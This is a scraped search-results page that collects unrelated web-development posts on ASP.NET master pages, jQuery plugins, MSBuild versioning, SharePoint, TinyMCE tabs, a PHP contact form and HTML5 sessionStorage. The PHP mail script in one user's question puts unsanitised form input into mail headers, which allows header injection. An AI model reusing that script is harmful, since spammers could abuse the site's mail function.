Search Results

Search found 7689 results on 308 pages for 'typeface js'.

Page 88/308 | < Previous Page | 84 85 86 87 88 89 90 91 92 93 94 95  | Next Page >

  • how to add a sidebar to a .net page based on a master page that doesnt have a sidebar.

    - by UXdesigner
    Hello, I have been told that I should add a sidebar to one page of this .net project, but the master page don't include a sidebar. How can I add a sidebar to one page only ? This is the code for the Master Template, can anyone suggest or help me out here? I'd buy a book and read more, but I have to do this for the next 12 hours. <%@ Master Language="C#" AutoEventWireup="true" CodeFile="Public.master.cs" Inherits="Public" %> <%@ Register Assembly="AjaxControlToolkit" Namespace="AjaxControlToolkit" TagPrefix="cc2" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <%--<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> --%><html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <%--<link href="favicon.ico" rel="Shortcut Icon" type="image/x-icon" />--%> <link href="<%= Server.MapPath("~/css/main2.css") %>" rel="stylesheet" type="text/css" media="all" /> <link href="<%= Server.MapPath("~/css/dropdown.css") %>" media="screen" rel="stylesheet" type="text/css" /> <link href="<%= Server.MapPath("~/css/default.advanced.css") %>" media="screen" rel="stylesheet" type="text/css" /> <link href="<%= Server.MapPath("~/css/vlightbox.css") %>" rel="stylesheet" type="text/css" /> <link href="<%= Server.MapPath("~/css/visuallightbox.css") %>" rel="stylesheet" type="text/css" media="screen" /> <link href="<%= Server.MapPath("~/boxes.css") %>"rel="stylesheet" type="text/css" media="screen" /> <script src="<%= Server.MapPath("~/engine/js/jquery.min.js") %>" ype="text/javascript"></script> <script src="<%= Server.MapPath("~/js/cufon-yui.js") %>" type="text/javascript"></script> <script src="<%= Server.MapPath("~/js/AFB_400.font.js") %>" type="text/javascript"></script> <style type="text/css"> #vlightbox a#vlb { display:none } </style> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> Cufon.replace('h2'); </script> <script type="text/javascript"> Cufon.replace('h3'); </script> <script type="text/javascript"> Cufon.replace('h5'); </script> <!--[if IE 8]> <style type="text/css"> #footer {display:table;} </style> <![endif]--> <style> ul#nav { width:100%; height:36px; display:block; background-color:#000; background-repeat:repeat-x; } #wrapthatbanner {display:block; float:left; width:100%; height:529px; margin-left:-20px; margin-bottom:0px; } </style> <script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js?ver=1.3.2'></script> <script type="text/javascript"> $(document).ready(function() { $("#footer").stickyFooter(); }); // sticky footer plugin (function($) { var footer; $.fn.extend({ stickyFooter: function(options) { footer = this; positionFooter(); $(window) .scroll(positionFooter) .resize(positionFooter); function positionFooter() { var docHeight = $(document.body).height() - $("#sticky-footer-push").height(); if (docHeight < $(window).height()) { var diff = $(window).height() - docHeight; if (!$("#sticky-footer-push").length > 0) { $(footer).before('<div id="sticky-footer-push"></div>'); } $("#sticky-footer-push").height(diff); } } } }); })(jQuery); </script> </head> <body id="@@(categoria)@@"> <form id="form1" runat="server"> <asp:ScriptManager ID="ScriptManager1" runat="server" EnablePageMethods="true" AsyncPostBackTimeout="900"></asp:ScriptManager> <div id="container"> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <ContentTemplate> <div id="header"> <div id="headerlink"> <table width="100%" border="0"> <tr> <td height="77px;" width="67%"> <asp:ImageButton PostBackUrl="~/index.aspx" ImageUrl="~/images/Titulos/5.png" runat="server" alt="" name="screen_logo" width="257" hspace="10" vspace="10" border="0" id="screen_logo" title="" /> </td> <td valign="top" align="right" width="33%"> <table> <tr> <td> <asp:Label ID="lblFullMessage" Visible="false" runat="server" Font-Size="X-Small" ForeColor="White" Text="Please enter the {0}, {1} and {2} characters from your password."></asp:Label> </td> </tr> <tr valign="middle"> <td> <img src="../images/login.jpg"</td> <td valign="top"> <asp:TextBox runat="server" Height="16px" Font-Size="Small" ID="txtLogin" Width="100px"></asp:TextBox> <asp:Button ID="btnLogin" Height="20px" Font-Size="X-Small" runat="server" Text="Go" OnClick="btnLogin_Click" /> </td> </tr> <tr> <td> <asp:Label ID="lblError" Visible="false" runat="server" Font-Size="X-Small" ForeColor="Red" Text="Error"></asp:Label> </td> </tr> </table> </td> </tr> </table> </div> </div> </ContentTemplate> </asp:UpdatePanel> <ul id="nav" class="dropdown dropdown-horizontal"> <li><asp:HyperLink NavigateUrl="~/index.aspx" CssClass="dir" runat="server" ID="lnk1">Home</asp:HyperLink></li> <li><asp:HyperLink NavigateUrl="~/PublicSide/link.aspx" CssClass="dir" runat="server" ID="lnk3">link</asp:HyperLink></li> <li><asp:HyperLink NavigateUrl="~/PublicSide/link.aspx" CssClass="dir" runat="server" ID="lnk4">link</asp:HyperLink></li> <li><asp:HyperLink NavigateUrl="~/PublicSide/link.aspx" CssClass="dir" runat="server" ID="lnk7">link</asp:HyperLink></li> <li><asp:HyperLink NavigateUrl="~/PublicSide/link.aspx" CssClass="dir" runat="server" ID="lnk5">link</asp:HyperLink></li> <li><asp:HyperLink NavigateUrl="~/PublicSide/link.aspx" CssClass="dir" runat="server" ID="lnk2">link</asp:HyperLink></li> <li><asp:HyperLink NavigateUrl="~/PublicSide/link.aspx" CssClass="dir" runat="server" ID="lnk6">link</asp:HyperLink></li> </ul> <div id="wmfg"> </div> <div id="content"><asp:ContentPlaceHolder ID="Content1" runat="server"> </asp:ContentPlaceHolder></div> <div id="footer">Footer</div> </div> </form> </body> </html>

    Read the article

  • How to use jQuery Date Range Picker plugin in asp.net

    - by alaa9jo
    I stepped by this page: http://www.filamentgroup.com/lab/date_range_picker_using_jquery_ui_16_and_jquery_ui_css_framework/ and let me tell you,this is one of the best and coolest daterangepicker in the web in my opinion,they did a great job with extending the original jQuery UI DatePicker.Of course I made enhancements to the original plugin (fixed few bugs) and added a new option (Clear) to clear the textbox. In this article I well use that updated plugin and show you how to use it in asp.net..you will definitely like it. So,What do I need? 1- jQuery library : you can use 1.3.2 or 1.4.2 which is the latest version so far,in my article I will use the latest version. 2- jQuery UI library (1.8): As I mentioned earlier,daterangepicker plugin is based on the original jQuery UI DatePicker so that library should be included into your page. 3- jQuery DateRangePicker plugin : you can go to the author page or use the modified one (it's included in the attachment),in this article I will use the modified one. 4- Visual Studio 2005 or later : very funny :D,in my article I will use VS 2008. Note: in the attachment,I included all CSS and JS files so don't worry. How to use it? First thing,you will have to include all of the CSS and JS files into your page like this: <script src="Scripts/jquery-1.4.2.min.js" type="text/javascript"></script> <script src="Scripts/jquery-ui-1.8.custom.min.js" type="text/javascript"></script> <script src="Scripts/daterangepicker.jQuery.js" type="text/javascript"></script> <link href="CSS/redmond/jquery-ui-1.8.custom.css" rel="stylesheet" type="text/css" /> <link href="CSS/ui.daterangepicker.css" rel="stylesheet" type="text/css" /> <style type="text/css"> .ui-daterangepicker { font-size: 10px; } </style> Then add this html: <asp:TextBox ID="TextBox1" runat="server" Font-Size="10px"></asp:TextBox><asp:Button ID="SubmitButton" runat="server" Text="Submit" OnClick="SubmitButton_Click" /> <span>First Date:</span><asp:Label ID="FirstDate" runat="server"></asp:Label> <span>Second Date:</span><asp:Label ID="SecondDate" runat="server"></asp:Label> As you can see,it includes TextBox1 which we are going to attach the daterangepicker to it,2 labels to show you later on by code on how to read the date from the textbox and set it to the labels Now we have to attach the daterangepicker to the textbox by using jQuery (Note:visit the author's website for more info on daterangerpicker's options and how to use them): <script type="text/javascript"> $(function() { $("#<%= TextBox1.ClientID %>").attr("readonly", "readonly"); $("#<%= TextBox1.ClientID %>").attr("unselectable", "on"); $("#<%= TextBox1.ClientID %>").daterangepicker({ presetRanges: [], arrows: true, dateFormat: 'd M, yy', clearValue: '', datepickerOptions: { changeMonth: true, changeYear: true} }); }); </script> Finally,add this C# code: protected void SubmitButton_Click(object sender, EventArgs e) { if (TextBox1.Text.Trim().Length == 0) { return; } string selectedDate = TextBox1.Text; if (selectedDate.Contains("-")) { DateTime startDate; DateTime endDate; string[] splittedDates = selectedDate.Split("-".ToCharArray(), StringSplitOptions.RemoveEmptyEntries); if (splittedDates.Count() == 2 && DateTime.TryParse(splittedDates[0], out startDate) && DateTime.TryParse(splittedDates[1], out endDate)) { FirstDate.Text = startDate.ToShortDateString(); SecondDate.Text = endDate.ToShortDateString(); } else { //maybe the client has modified/altered the input i.e. hacking tools } } else { DateTime selectedDateObj; if (DateTime.TryParse(selectedDate, out selectedDateObj)) { FirstDate.Text = selectedDateObj.ToShortDateString(); SecondDate.Text = string.Empty; } else { //maybe the client has modified/altered the input i.e. hacking tools } } } This is the way on how to read from the textbox,That's it!. FAQ: 1-Why did you add this code?: <style type="text/css"> .ui-daterangepicker { font-size: 10px; } </style> A:For two reasons: 1)To show the Daterangepicker in a smaller size because it's original size is huge 2)To show you how to control the size of it. 2- Can I change the theme? A: yes you can,you will notice that I'm using Redmond theme which you will find it in jQuery UI website,visit their website and download a different theme,you may also have to make modifications to the css of daterangepicker,it's all yours. 3- Why did you add a font size to the textbox? A: To make the design look better,try to remove it and see by your self. 4- Can I register the script at codebehind? A: yes you can 5- I see you have added these two lines,what they do? $("#<%= TextBox1.ClientID %>").attr("readonly", "readonly"); $("#<%= TextBox1.ClientID %>").attr("unselectable", "on"); A:The first line will make the textbox not editable by the user,the second will block the blinking typing cursor from appearing if the user clicked on the textbox,you will notice that both lines are necessary to be used together,you can't just use one of them...for logical reasons of course. Finally,I hope everyone liked the article and as always,your feedbacks are always welcomed and if anyone have any suggestions or made any modifications that might be useful for anyone else then please post it at at the author's website and post a reference to your post here.

    Read the article

  • Context Issue in ASP.NET MVC 3 Unobtrusive Ajax

    - by imran_ku07
        Introduction:          One of the coolest feature you can find in ASP.NET MVC 3 is Unobtrusive Ajax and Unobtrusive Client Validation which separates the javaScript behavior and functionality from the contents of a web page. If you are migrating your ASP.NET MVC 2 (or 1) application to ASP.NET MVC 3 and leveraging the Unobtrusive Ajax feature then you will find that the this context in the callback function is not the same as in ASP.NET MVC 2(or 1). In this article, I will show you the issue and a simple solution.       Description:           The easiest way to understand the issue is to start with an example. Create an ASP.NET MVC 3 application. Then add the following javascript file references inside your page,   <script src="@Url.Content("~/Scripts/MicrosoftAjax.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/MicrosoftMvcAjax.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/jquery-1.4.4.min.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/jquery.unobtrusive-ajax.js")" type="text/javascript"></script>             Then add the following lines into your view,   @Ajax.ActionLink("About", "About", new AjaxOptions { OnSuccess = "Success" }) <script type="text/javascript"> function Success(data) { alert(this.innerHTML) } </script>              Next, disable Unobtrusive Ajax feature from web.config,   <add key="UnobtrusiveJavaScriptEnabled" value="false"/>              Then run your application and click the About link, you will see the alert window with "About" message on the screen. This shows that the this context in the callback function is the element which is clicked. Now, let's see what will happen when we leverage Unobtrusive Ajax feature. Now enable Unobtrusive Ajax feature from web.config,     <add key="UnobtrusiveJavaScriptEnabled" value="true"/>              Then run your application again and click the About link again, this time you will see the alert window with "undefined" message on the screen. This shows that the this context in the callback function is not the element which is clicked. Here, this context in the callback function is the Ajax settings object provided by jQuery. This may not be desirable because your callback function may need the this context as the element which triggers the Ajax request. The easiest way to make the this context as the element which triggers the Ajax request is to add this line in jquery.unobtrusive-ajax.js file just before $.ajax(options) line,   options.context = element;              Then run your application again and click the About link again, you will find that the this context in the callback function remains same whether you use Unobtrusive Ajax or not.       Summary:          In this article I showed you a breaking change and a simple workaround in ASP.NET MVC 3. If you are migrating your application from ASP.NET MVC 2(or 1) to ASP.NET MVC 3 and leveraging Unobtrusive Ajax feature then you need to consider this breaking change. Hopefully you will enjoy this article too.     SyntaxHighlighter.all()

    Read the article

  • Web Site Performance and Assembly Versioning – Part 2 Versioning Combined Files Using Subversion

    - by capgpilk
    Ok so it took a while to post this second part. Many apologies, we had a big roll out of a new platform at work and many things had to get sidelined. So this is the second part in a short series of website performance and using versioning to help improve it. Minification and Concatination of JavaScript and CSS Files Versioning Combined Files Using Subversion – this post Versioning Combined Files Using Mercurial – published shortly In the previous post we used AjaxMin to shrink js and css files then concatenated them into one file each which had the file name of site-script.combined.min.js and site-style.combined.min.css. These file names are fine, but you can configure IIS 7 to cache these static files and so lower the amount of data transferred between server and client. This is done by editing the response headers in IIS. 1. In IIS7 Manager, choose the directory where these files are located and select HTTP Response Headers. 2. Check the Expire Web Content and set a time period well into the future. 3. When refreshing the web page, the server will respond with HTTP 304 forcing the browser to retrieve the file from its cache. 4. As can be seen in FireBug, the Cache-Control header has a max age of 31536000 seconds which equates to 365 days.   The server will always send this HTTP 304 message unless the file changes forcing it to send new content. To help force this we can change the file name based on the latest build using the SVN revision number in the filename. So we have lowered data transfer on content that hasn’t changed, but forced it to be sent when you have made a change to the css or js files. Now to get the SVN revision number in to the file name. 1. Import the MSBuildCommunityTasks targets which can be dowloaded from here. 1: <Import Project="$(MSBuildExtensionsPath) 2: \MSBuildCommunityTasks 3: \MSBuild.Community.Tasks.Targets" /> 2. Edit the BeforeBuild target to call out to svn and get the latest revision 1: <SvnVersion LocalPath="$(MSBuildProjectDirectory)" 2: ToolPath="$(ProgramFiles)\VisualSVN Server\bin"> 3: <Output TaskParameter="Revision" PropertyName="Revision" /> 4: </SvnVersion> 3. Set it to update the project AssemblyInfo.cs file for the svn revision. 1: <FileUpdate Files="Properties\AssemblyInfo.cs" 2: Regex="(\d+)\.(\d+)\.(\d+)\.(\d+)" 3: ReplacementText="$1.$2.$3.$(Revision)" /> 4. Now edit the AfterBuild target to get the full dll version. You could combine these two steps and just get the version from svn, I am working on one project that updates the AssemblyInfo file and another project that allows manual editing of the file, but needs that version within the file name; so I just combined the two for this post. 1: <MSBuild.ExtensionPack.Framework.Assembly 2: TaskAction="GetInfo" 3: NetAssembly="$(OutputPath)\mydll.dll"> 4: <Output TaskParameter="OutputItems" ItemName="Info" /> 5: </MSBuild.ExtensionPack.Framework.Assembly> 6: <Message Text="Version: %(Info.AssemblyVersion)" 7: Importance="High" /> 5. Use this Info.AssemblyVersion to write out the combined css and js files as described in the last post. 1: <WriteLinestoFile File="Scripts\site-%(Info.AssemblyVersion).combined.min.js" 2: Lines="@(JSLinesSite)" Overwrite="true" />   In the next post I will cover doing the same, but for a Mercurial repository.

    Read the article

  • jQuery with SharePoint solutions

    - by KunaalKapoor
    For me jQuery is the 'Plan-B' for everything.And most of my projects include the use of jQuery for something or the other, so I decided to write a small note on what works best while using jQuery along with SharePoint.I prefer to use the jQuery JavaScript library, which is far more robust, easier to use, and allows for plugins. Follow the steps below to add jQuery to your master page. For office 365, the prefered location to add jQuery files is the "Site Asserts" library.Deployment Best PracticesThey are only as good as the context it’s being referenced.  In other words, take into account your world before applying it.Script your deployment options.  Folder in SPD. Use the file system.  Make external references.  The JQuery library is on the Microsoft Ajax Content Delivery Network. You may even choose to publish to and from the document library. (pros and cons to this approach)Reference options when referencing the script.ScriptLink will make sure it’s loaded at the top of the page and only loaded once. You need Visual Studio or SPDContent Editor Web Part (CEWP).  Drop it on the page and it’s there.  Easy but dangerousCustom Actions. Great for global deployments of JQuery.  Loads it on every page. It also works in Sandbox installations.Deployment Maintenance Dont’sDon’t add scripts directly to your Master Page. That’s way too much effort because the pages are hard to maintain.Don’t add scripts directly to the CEWP.  Use a content link instead. That will allow for reuse. If you or someone deletes the CEWP you won’t lose code in the web partSecurity.  Any scripts run with the same privileges of the current user.  In other words, you can’t get in trouble.Development Best PracticesDon’t abuse the DOM.  There are better options to load the DOM without hitting it 1,000 times.User other performance boosters.Try other libraries.  Try some custom codeAvoid String conversionMinify your filesUse CAML to reduce number of returns rowsOnly update your JQuery library AFTER RIGOROUS REGRESSION TESTINGCRUD operations can come with some funSP Services wraps SharePoint’s web services for executionThe Bing SDK is pretty easy to use.  You can add it to your page with a script,  put it into a content editor web part and connect it from the address parameters in a list.Steps:1. Go to jquery.com and download the latest jQuery library to your desktop. You want to get the compressed production version, not the development version.2. Open SharePoint Designer (SPD) and connect to the root level of your site's site collection.In SPD, open the "Style Library" folder. Create a folder named "Scripts" inside of the Style Library. Drag the jQuery library JavaScript file from your desktop into the Scripts folder.In the Scripts folder, create a new JavaScript file and name it (e.g. "actions.js").3. If you are using visual studio add a folder for js, you can create a new folder at the root level or if you prefer more cleaner solutions like me, you can use the layouts folder which cleans out on deactivation/uninstall.4. Within the <head> tag of the master page, add a script reference to the jQuery library just above the content place holder named "PlaceHolderAdditonalPageHead" (and above your custom CSS references, if applicable) as follows:<script src="/Style%20Library/Scripts/{jquery library file}.js" type="text/javascript"></script>Immediately after the jQuery library reference add a script reference to your custom scripts file as follows:<script src="/Style%20Library/Scripts/actions.js" type="text/javascript"></script>Inside your script tag, you can test if jQuery is already defined and if not, then add it to the page.<script type='text/javascript'>  if (typeof jQuery == 'undefined')    document.write('<scr'+'ipt type="text/javascript" src="http://code.jquery.com/jquery-1.6.1.min.js"></sc'+'ript>');</script>For the inquisitive few... Read on if you'd like :)Why jQuery on SharePoiny is AwesomeIt’s all about that visual wow factor.  You can get past that, “But it looks like SharePoint”  Take a long list view and put it into JQuery with pagination, etc and you are the hero.  It’s also about new controls you get with JQuery that you couldn’t do before.Why jQuery with SharePoint should be AwfulAlthough it’s fairly easy to get jQuery up and running. Copy/Paste can cause a problem.  If you don’t understand what it’s doing in the Client Object Model and the Document Object Model then it will do things on your site that were completely unexpected. Many blogs will note workarounds they employed on their sites. Why it’s not working: Debugging “sucks”.You need to develop small blocks of functionality, Test it by putting in some alerts  and console.log. Set breakpoints and monitor the DOM via Firebug and some IE development toolsPerformance - It happens all the time. But you should look at the tradeoffs. More time may give you more functionality.Consistency - ”But it works fine on my computer. So test on many browsers.  Take into account client resourcesHarm the Farm -  You need to code wisely and negatively test.  Don’t be the cause of a DoS attack that’s really JQuery asking for a resource over and over and over again.  So code wisely. Do negative testing. Monitor Server Resources.They also did a demo where JQuery did an endless loop to pull data from a list. It’s a poor decision but also an easy mistake.  They spiked their server resources within a couple seconds and had to shut down the call before it brought it down.ConclusionJQuery is now another tool in your tool kit. You don’t have to use it. Use it where it makes sense and where it helps you get your job done.Don’t abuse it, you will pay for it laterIt will add to page bloat so take that into accountIt can slow your performance

    Read the article

  • problem with tinymce textarea in dynamically added jquery tabs

    - by kranthi
    I have an aspx page(Default1.aspx),in which i have a static jquery tab and anchor tag upon clicking the anchor tag(Add Tab) I am adding new tab dynamically,which gets its contents loaded from another aspx page(Default2.aspx).This second page contains some text inside a tag,a textarea with 'tinymce' class which is placed inside a div with 'style="display:none" ' and this textarea gets displayed only upon clicking the edit button on that page. The HTML of Default1.aspx page looks like this. <head runat="server"> <title>Untitled Page</title> <script src="js/jquery-1.3.2.min.js" type="text/javascript"></script> <script src="js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script> <link href="css/custom-theme/jquery-ui-1.7.2.custom.css" rel="stylesheet" type="text/css" /> <link href="css/widgets.css" rel="stylesheet" type="text/css" /> <link href="css/print.css" rel="stylesheet" type="text/css" /> <link href="css/reset.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="js/tiny_mce/jquery.tinymce.js"></script> <script type="text/javascript"> $(function() { //DECLARE FUNCTION: removetab var removetab = function(tabselector, index) { $(".removetab").click(function(){ $(tabselector).tabs('remove',index); }); }; //create tabs $("#tabs").tabs({ add: function(event, ui) { //select newely opened tab $(this).tabs('select',ui.index); //load function to close tab removetab($(this), ui.index); }, show: function(event, ui) { if($.fn.tinymce) { $('textarea.tinymce').tinymce({ // Location of TinyMCE script script_url : 'js/tiny_mce/tiny_mce.js', // General options theme : "advanced", plugins : "safari,style,layer,table,advhr,advimage,advlink,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template", // Theme options theme_advanced_buttons1 : "bold,italic,underline,strikethrough,|,bullist,numlist,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", theme_advanced_buttons2 : "outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", theme_advanced_buttons3 : "sub,sup,|,ltr,rtl,|,fullscreen", theme_advanced_toolbar_location : "top", theme_advanced_toolbar_align : "left" /*theme_advanced_statusbar_location : "bottom",*/ /*theme_advanced_resizing : true,*/ }); } //load function to close selected tabs removetab($(this), ui.index); } }); //load new tab $(".addtab").click(function(){ var href=$(this).attr("href"); var title=$(this).attr("title"); $("#tabs").tabs( 'add' , href , title+' <span class="removetab ui-icon ui-icon-circle-close" style="float:right; margin: -2px -10px 0px 3px; cursor:pointer;"></span>'); return false; }); }); function showEditFields(){ $('.edit').css('display','inline'); } </script> </head> <body> <form id="form1" runat="server"> <div> <a class="addtab" title="Tab Label" href="HTMLPage.htm">Add Tab</a> <div id="tabs"> <ul> <li><a href="#tabs-1">Default Tab</a></li> </ul> <div id="tabs-1"> <p>Etiam aliquet massa et lorem. Mauris dapibus lacus auctor risus. Aenean tempor ullamcorper leo. Vivamus sed magna quis ligula eleifend adipiscing. Duis orci. Aliquam Proin elit arcu, rutrum commodo, vehicula tempus, commodo a, risus. Curabitur nec arcu. Donec sollicitudin mi sit amet mauris. Nam elementum quam ullamcorper ante.sodales tortor vitae ipsum. Aliquam nulla. Duis aliquam molestie erat. Ut et mauris vel pede varius sollicitudin. Sed ut dolor nec orci tincidunt interdum. Phasellus ipsum. Nunc tristique tempus lectus.</p> </div> </div> </div> </form> </body> and the HTML of Default2.aspx looks like this. <head> </head> <body> <form id="form1" runat="server"> <div class="demo"> <p>Proin elit arcu, rutrum commodo, vehicula tempus, commodo a, risus. Curabitur nec arcu. Donec sollicitudin mi sit amet mauris. Nam elementum quam ullamcorper ante. Etiam aliquet massa et lorem. Mauris dapibus lacus auctor risus. Aenean tempor ullamcorper leo. Vivamus sed magna quis ligula eleifend adipiscing. Duis orci. Aliquam sodales tortor vitae ipsum. Aliquam nulla. Duis aliquam molestie erat. Ut et mauris vel pede varius sollicitudin. Sed ut dolor nec orci tincidunt interdum. Phasellus ipsum. Nunc tristique tempus lectus. <div class="edit" style="display:none"> <textarea style="height:80px; width:100%" class="tinymce" name="" rows="8" runat="server" id="txtans">answer text goes here </textarea> </div> <input id="Button1" type="button" value="edit" onclick="showEditFields();" /> </p> </form> </body> so when I click on the "edit" button available on Default2.aspx ,the textarea with tinymce should appear and I can add as many tabs as I want from Default1.aspx by clicking on Add Tab(anchor) which loads multiple tabs with content from Default2.aspx.After adding these multiple tabs ,if I check to see whether all the textareas are with tinymce,I noticed that only the 1st tab contains textarea with tinymce and in all the other tabs tinymce doesnt show up ,simply the normal text area appears. Could someone please help me with this? Thanks.

    Read the article

  • PHP contact form sends empty data

    - by Alan Lawlessness
    I am trying to create a HTML5 contact form compatible with computer and mobile devices, when I clicked on send message it jumps into a blank white screen. I do get a email but it contains no information. I am quite new with PHP. For www.rare1.ca/test: <!DOCTYPE html> <html> <head> <title>Responsive HTML5/CSS3 template</title> <meta charset="utf-8" /> <meta name = "viewport" content = "width=device-width, maximum-scale = 1, minimum- scale=1" /> <link rel="stylesheet" type="text/css" href="css/default.css" media="all" /> <link rel="stylesheet" href="css/flexslider.css" type="text/css" /> <link href='http://fonts.googleapis.com/css?family=PT+Sans' rel='stylesheet' type='text/css' /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"> </script> <script src="js/jquery.flexslider.js"></script> <script src="js/default.js"></script> <!--[if lt IE 9]> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/respond.min.js"></script> <![endif]--> </head> <body> <div id="pagewidth"> <header id="header"> <div class="center"> <nav id="mainNav"> <ul> <li class="active"><a href="#pagewidth"><span>gallery</span></a></li> <li></li> <li></li> <li></li> <li></li> <li><a href="#contactUs"><span>contact us</span></a></li> </ul> </nav> </div> </header> <div id="content"> <section class="row"> <div class="center"> <h1><img src="img/logo.gif" width="142" height="78"></h1> <strong class="subHeading">Coming soon</strong> <div class="gallery"> <ul class="slides"> <li><img src="img/img-gallery.jpg" alt="image" /></li> <li><img src="img/img-gallery2.jpg" alt="image" /></li> <li><img src="img/img-gallery3.jpg" alt="image" /></li> </ul> </div> <div class="buttons"></div> </div> </section> <section id="contactUs" class="row grey"> <div class="center"> <h1>Contact Us</h1> <strong class="subHeading">lorem ipsum dolor sit amet, consectetur adipiscing elit</strong> <div class="columns"> <div class="half"> <form action="sendemail.php" class="form"> <fieldset> <h2>Feedback form</h2> <div class="formRow"> <div class="textField"><input type="text" name="Name" id="name" placeholder="Your name ..." /></div> </div> <div class="formRow"> <div class="textField"><input type="text" name="Email" id="email" placeholder="Your Email ..." /></div> </div> <div class="formRow"> <div class="textField"><textarea name="Message" cols="20" rows="4" placeholder="Your message ..."></textarea> </div> </div> <div class="formRow"> <button class="btnSmall btn submit right"> <span>Send Message</span> </button> </div> </fieldset> </form> </div> <div class="half"> <h2>How to find us</h2> <div id="map"> <div class="imgHolder"><img src="img/map.jpg" alt="google map" /></div> </div> </div> </div> </div> </section> </div> <footer id="footer"> <div class="center"> </div> </footer> </div> </body> </html> <?php // This is the script for sending email. // change the email address below to your own email address. $mailTo = '[email protected]'; $name = htmlspecialchars($_POST['Name']); $mailFrom = htmlspecialchars($_POST['Email']); $message_text = htmlspecialchars($_POST['Message']); $headers = "From: $name <$mailFrom>\n"; $headers .= "Reply-To: $name <$mailFrom>\n"; $message = $message_text; mail($mailTo, $subject, $message, $headers ); ?>

    Read the article

  • Using HTML 5 SessionState to save rendered Page Content

    - by Rick Strahl
    HTML 5 SessionState and LocalStorage are very useful and super easy to use to manage client side state. For building rich client side or SPA style applications it's a vital feature to be able to cache user data as well as HTML content in order to swap pages in and out of the browser's DOM. What might not be so obvious is that you can also use the sessionState and localStorage objects even in classic server rendered HTML applications to provide caching features between pages. These APIs have been around for a long time and are supported by most relatively modern browsers and even all the way back to IE8, so you can use them safely in your Web applications. SessionState and LocalStorage are easy The APIs that make up sessionState and localStorage are very simple. Both object feature the same API interface which  is a simple, string based key value store that has getItem, setItem, removeitem, clear and  key methods. The objects are also pseudo array objects and so can be iterated like an array with  a length property and you have array indexers to set and get values with. Basic usage  for storing and retrieval looks like this (using sessionStorage, but the syntax is the same for localStorage - just switch the objects):// set var lastAccess = new Date().getTime(); if (sessionStorage) sessionStorage.setItem("myapp_time", lastAccess.toString()); // retrieve in another page or on a refresh var time = null; if (sessionStorage) time = sessionStorage.getItem("myapp_time"); if (time) time = new Date(time * 1); else time = new Date(); sessionState stores data that is browser session specific and that has a liftetime of the active browser session or window. Shut down the browser or tab and the storage goes away. localStorage uses the same API interface, but the lifetime of the data is permanently stored in the browsers storage area until deleted via code or by clearing out browser cookies (not the cache). Both sessionStorage and localStorage space is limited. The spec is ambiguous about this - supposedly sessionStorage should allow for unlimited size, but it appears that most WebKit browsers support only 2.5mb for either object. This means you have to be careful what you store especially since other applications might be running on the same domain and also use the storage mechanisms. That said 2.5mb worth of character data is quite a bit and would go a long way. The easiest way to get a feel for how sessionState and localStorage work is to look at a simple example. You can go check out the following example online in Plunker: http://plnkr.co/edit/0ICotzkoPjHaWa70GlRZ?p=preview which looks like this: Plunker is an online HTML/JavaScript editor that lets you write and run Javascript code and similar to JsFiddle, but a bit cleaner to work in IMHO (thanks to John Papa for turning me on to it). The sample has two text boxes with counts that update session/local storage every time you click the related button. The counts are 'cached' in Session and Local storage. The point of these examples is that both counters survive full page reloads, and the LocalStorage counter survives a complete browser shutdown and restart. Go ahead and try it out by clicking the Reload button after updating both counters and then shutting down the browser completely and going back to the same URL (with the same browser). What you should see is that reloads leave both counters intact at the counted values, while a browser restart will leave only the local storage counter intact. The code to deal with the SessionStorage (and LocalStorage not shown here) in the example is isolated into a couple of wrapper methods to simplify the code: function getSessionCount() { var count = 0; if (sessionStorage) { var count = sessionStorage.getItem("ss_count"); count = !count ? 0 : count * 1; } $("#txtSession").val(count); return count; } function setSessionCount(count) { if (sessionStorage) sessionStorage.setItem("ss_count", count.toString()); } These two functions essentially load and store a session counter value. The two key methods used here are: sessionStorage.getItem(key); sessionStorage.setItem(key,stringVal); Note that the value given to setItem and return by getItem has to be a string. If you pass another type you get an error. Don't let that limit you though - you can easily enough store JSON data in a variable so it's quite possible to pass complex objects and store them into a single sessionStorage value:var user = { name: "Rick", id="ricks", level=8 } sessionStorage.setItem("app_user",JSON.stringify(user)); to retrieve it:var user = sessionStorage.getItem("app_user"); if (user) user = JSON.parse(user); Simple! If you're using the Chrome Developer Tools (F12) you can also check out the session and local storage state on the Resource tab:   You can also use this tool to refresh or remove entries from storage. What we just looked at is a purely client side implementation where a couple of counters are stored. For rich client centric AJAX applications sessionStorage and localStorage provide a very nice and simple API to store application state while the application is running. But you can also use these storage mechanisms to manage server centric HTML applications when you combine server rendering with some JavaScript to perform client side data caching. You can both store some state information and data on the client (ie. store a JSON object and carry it forth between server rendered HTML requests) or you can use it for good old HTTP based caching where some rendered HTML is saved and then restored later. Let's look at the latter with a real life example. Why do I need Client-side Page Caching for Server Rendered HTML? I don't know about you, but in a lot of my existing server driven applications I have lists that display a fair amount of data. Typically these lists contain links to then drill down into more specific data either for viewing or editing. You can then click on a link and go off to a detail page that provides more concise content. So far so good. But now you're done with the detail page and need to get back to the list, so you click on a 'bread crumbs trail' or an application level 'back to list' button and… 